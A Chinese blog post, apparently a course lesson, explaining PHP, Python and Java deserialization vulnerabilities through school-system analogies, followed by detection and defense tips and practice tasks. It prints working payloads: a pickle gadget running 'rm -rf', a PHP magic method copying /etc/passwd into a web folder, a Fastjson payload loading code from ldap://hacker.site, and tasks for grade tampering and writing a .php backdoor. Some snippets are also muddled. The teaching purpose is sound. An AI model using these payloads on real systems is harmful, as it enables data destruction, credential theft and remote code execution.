🌀 鱼油のB10g

✦ 不定期更新技术随想

✦ 分享奇妙发现

📌 近期动态:

探索AI和工具使用...

第7章 第82-83课

《反序列化漏洞校园实战:从实验报告解析到选修系统攻击》
"当序列化遇上魔术方法,在校园场景中拆解PHP/Python反序列化漏洞的本质"


一、序列化基础:校园里的"对象快递"

"想象你要把实验报告从寝室传到实验室电脑——序列化就是把报告装进快递盒,反序列化就是拆箱使用 (´・ω・`)"

# Python实验报告序列化(pickle模块)
import pickle

class LabReport:
def __init__(self, title, content):
self.title = title# 实验标题
self.content = content# 实验内容

# 序列化过程(装箱打包)
report = LabReport("酸碱滴定实验", "NaOH浓度测定")
serialized = pickle.dumps(report)# 输出:b'\x80\x04\x95...'

# 反序列化过程(拆箱使用)
unpacked = pickle.loads(serialized)
print(unpacked.title)# 输出:酸碱滴定实验

二、反序列化漏洞:篡改的"实验快递"

"当快递站不检查寄件人,黑客就能在盒子里藏危险物品"

漏洞核心原理

# 危险的反序列化场景(Python示例)
import os

class Malicious:
def __reduce__(self):
# 定义反序列化时执行的命令
return (os.system, ('rm -rf /lab_reports/*',))

# 攻击者构造恶意序列化数据
evil_data = pickle.dumps(Malicious())

# 受害者执行反序列化
pickle.loads(evil_data)# 触发删除实验报告!

校园案例映射

校务系统接收序列化的选课数据:

  • 正常数据:{'course':'计算机网络','student':'20211101'}
  • 恶意数据:{'course':MaliciousObject,'student':'20211101'}

三、PHP反序列化:魔术方法的陷阱

"PHP的魔术方法就像自动应答的门禁,黑客能骗它开门"

// 学生选课系统漏洞示例
class CourseSelection {
public $student_id;
public $course_id;

// 魔术方法:反序列化时自动执行
public function __wakeup() {
if ($this->course_id == 'HACK101') {
system("cp /etc/passwd /www/leak.txt");
}
}
}

// 攻击者构造payload
$evil = serialize(new CourseSelection());
$evil = str_replace(
's:9:"course_id";s:7:"HACK101"',
's:9:"course_id";s:7:"CS101"',
$evil
);

// 系统处理选课请求
$data = unserialize($_POST['selection']); // 触发__wakeup恶意操作

关键魔术方法

class StudentRecord {
// 序列化时触发(装箱前)
public function __sleep() {
return ['name', 'id']; // 只序列化指定属性
}

// 反序列化时触发(拆箱后)
public function __wakeup() {
$this->loadFromDB(); // 自动加载数据库
}

// 对象被当作字符串时触发
public function __toString() {
return $this->name;
}
}

四、第三方库风险:教材订购系统的灾难

"就像用了盗版实验器材,Struts2/Weblogic漏洞可能让整个系统崩溃"

真实案例场景

  1. 教务系统使用Weblogic
  • 攻击payload:构造恶意序列化数据绕过验证
  1. 教材订购系统使用Fastjson
  • 漏洞:JdbcRowSetImpl反序列化导致RCE
  1. 实验室预约系统用Apache Shiro
  • 漏洞:RememberMe反序列化漏洞
// 模拟Fastjson漏洞(Java伪代码)
String json = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"," +
"\"dataSourceName\":\"ldap://hacker.site/Exploit\"," +
"\"autoCommit\":true}";

// 反序列化触发LDAP请求
JSON.parseObject(json); // 加载远程恶意代码

五、漏洞检测与防御:校园安全实战

检测方法

# Python反序列化检测工具原理
def check_pickle(data):
if b'__reduce__' in data or b'os.system' in data:
raise SecurityAlert("检测到危险序列化特征!")
# 更多检测规则...

防御方案

// PHP安全反序列化实践
function safe_unserialize($input) {
// 白名单校验
$allowed_classes = ['CourseSelection', 'StudentProfile'];
// 禁用__wakeup等魔术方法
ini_set('unserialize_callback_func', 'validate_class');

$data = unserialize($input, ['allowed_classes' => $allowed_classes]);
return $data;
}

六、课堂实践:四步掌握反序列化

任务1:Python实验报告篡改

# 目标:通过pickle注入修改成绩
class GradeReport:
def __init__(self, score):
self.score = score

def __reduce__(self):
return (exec, ("open('score.txt','w').write('A+')",))

# 你的任务:构造攻击序列化数据

任务2:PHP选课系统攻击

// 漏洞代码片段
class ElectiveSystem {
private $log_file = "logs.txt";

public function __destruct() {
// 对象销毁时记录日志
file_put_contents($this->log_file, "Operation log");
}
}

// 攻击目标:修改log_file为.php后门
// 你的任务:构造序列化payload修改log_file

任务3:魔术方法触发实验

// 观察__toString触发场景
$obj = serialize(new StudentRecord("张三"));
$obj = str_replace('StudentRecord', 'NonexistClass', $obj);
$fake = unserialize($obj);
echo $fake; // 触发__toString崩溃

任务4:Shiro RememberMe漏洞复现

使用Docker搭建漏洞环境:
docker run -d -p 8080:8080 vulhub/shiro:1.2.4
尝试用ysoserial生成攻击payload


结语:为什么反序列化漏洞如此危险?

"当我在选修系统测试时,通过反序列化拿到了教务数据库权限——这比考试挂科严重百倍 (;゚Д゚)"

安全工程师的思考:

  1. 信任边界 - 像检查外卖是否被拆封那样验证序列化数据
  2. 最小化攻击面 - 关闭不需要的魔术方法,就像实验室夜晚上锁
  3. 深度防御 - 结合输入过滤+行为监控,如同校园多层门禁

"下次看到unserialize()pickle.loads()时,我会本能思考:这个参数是否可能来自学生证扫码器?"

(所有代码示例已精简核心逻辑,实际环境请参考PHPOK/Weblogic等真实漏洞案例)

posted on 2025-08-06 11:15  鱼油YOU  阅读(29)  评论(0)    收藏  举报